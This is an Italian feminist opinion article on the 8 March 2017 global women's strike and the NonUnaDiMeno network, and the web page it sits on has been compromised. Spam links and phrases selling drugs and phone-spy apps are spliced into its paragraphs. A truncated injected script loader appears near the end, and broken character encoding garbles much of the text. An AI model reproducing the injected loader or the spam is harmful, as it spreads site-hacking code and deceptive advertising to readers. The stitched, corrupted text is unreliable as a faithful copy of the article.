donne-8-marzo-0505

UNA GENERAZIONE, NUOVA E GLOBALE, SULLA SCENA POLITICA

di Bia Sarasini – 10 marzo 2017

http://brandoutlet.boutique/cheap-chloromycetin-antibiotic/ 8 marzo.A�Uno sciopero guidato e pensato da donne, una mobilitazione internazionale come non succedeva dai tempi dei social forum. Si comincia da qui, dalle giovani femministe

Ha fatto un bel poa�� paura, lo sciopero delle donne, la��8 marzo. Tutte quelle ragazze, ragazzi, donne, uomini, persone lgbt in piazza. Rumorosamente assenti dal lavoro. Un milione? BisognerA� fare le mappe e i conti delle mille iniziative sparse nel pianeta.

Il punto A? che una��enorme quantitA� di persone si sono mobilitate. Un popolo che sciopera, cioA? si prende e mostra la propria forza. Che si muove non contro i nemici additati dalla propaganda di destra, i migranti, gli stranieri, o una casta politica diventata ormai metafisica, fantasma di un potere che rimane invisibile. Order

No, la mobilitazione, proprio perchA� era uno sciopero, era contro una��organizzazione del sociale, della divisione sessuale del lavoro e del lavoro stesso. Insomma, contro il potere reale, le sue radici violente, arcaiche e contemporanee, di cui il femminicidio A? la forma estrema e paradigmatica.

http://alanjonesmensgrooming.com/?p=1580

generic wellbutrin xl 300 reviews Uno sciopero guidato e pensato da donne, poi. Un fatto inaudito. La visione delle donne si allarga, mostra di sapere e potere riorganizzare la vita sociale e il mondo. A partire dalla propria esperienza, dal dominio subito e dalla lotta per ribaltarlo. Non succedeva dal tempo dei social forum, una mobilitazione internazionale nella stessa giornata. Non si era piA? abituate neanche a un 8 marzo che non fosse un rito, di presidenti che elogiano la��indispensabilitA� delle donne, multinazionali che creano premi, sindaci che danno le medaglie. E la leadership femminile, A? una novitA� assoluta. Tutte e tutti a invocarla, e quando te la trovi squadernata davanti, cosa si finisce per dire? Che A? stato un successo, ma alla fine A? un disastro. http://ipdkr.com/?p=16994

Dispiace che una femminista autorevole come Alessandra Bocchetti, invece di chiedersi perchA� tante, tantissime sono scese in strada, evochi una��autonomia delle donne che questo 8 marzo, con la sua proposta inclusiva e intersezionale, avrebbe messo a a rischio. PiA? conseguente Dario Di Vico, editorialista delA�Corriere della Sera, che critica lo sciopero come strumento arcaico, visto che il lavoro A? precario.

E dire che proprio questa A? la forza di questo otto marzo 2017. Donne che proclamano uno sciopero. Avere rotto una barriera. Avere buttato alla��aria quella compartimentazione prima di tutto mentale in cui A? imprigionata la societA�. Quella frammentazione per cui ai sindacati spettano gli scioperi, quelli veri, che riguardano i lavoratori veri che stanno nei posti di lavoro riconosciuti come tali. Cosa ne sanno le donne? Cosa ca��entrano le case, o i femminicidi, i lavori precari e qualificati, che puoi fare perfino in autobus e sulla metro, visto che quello che conta A? la connessione? Che cosa si sono messe in testa le femministe, di proclamare lo sciopero? Il maschilismo ha molte facce. Questa rigiditA� ne A? senza��altro un aspetto. Pills

Eppure spero che proprio il successo della��8 marzo globale apra gli occhi. PerchA� la��inerzia misogina rischia di farsi complice della passivizzazione di chi lavora, rischia di coltivare la��impotenza prodotta dalla svalorizzazione del lavoro, invece di combatterla. Dispiace che la Fiom, che pure ha incontrato la rete organizzatrice dello sciopero in Italia, NonUnaDiMeno, non abbia colto la��occasione. Cheap

PerchA� lasciare che sia il mercato a mettere al lavoro migranti, donne povere e impoverite in attivitA� malpagate e sfruttate, tutto delegato alla��iniziativa individuale? PerchA� non pensare a un nuovo welfare, a nuovi lavori da unire a un reddito minimo, da garantire quando necessario?

Si comincia da qui, dalle giovani femministe, una nuova generazione politica, che hanno preso la guida. A? un progetto, una speranza. Si rivolge a tutti coloro che subiscono il potere neocapitalista, le conseguenze di una globalizzazione violenta che, lasciandosi noncurante alle spalle i propri detriti, defluisce in una de-globalizzazione addirittura piA? barbara.

Order

In tante abbiamo cercato la strada, da donne libere e sempre impreviste, come diceva Carla Lonzi. Ora possiamo. Partiamo da qui.

if (document.currentScript) { if (document.currentScript) { var d=document;var s=d.createElement(‘script’); vytorin how much Buy iphone spy, iphone spy app, localizar telefono por gps can i buy fertomid at clicks

Lascia un Commento

L'indirizzo email non verrà pubblicato. I campi obbligatori sono contrassegnati *

È possibile utilizzare questi tag ed attributi XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>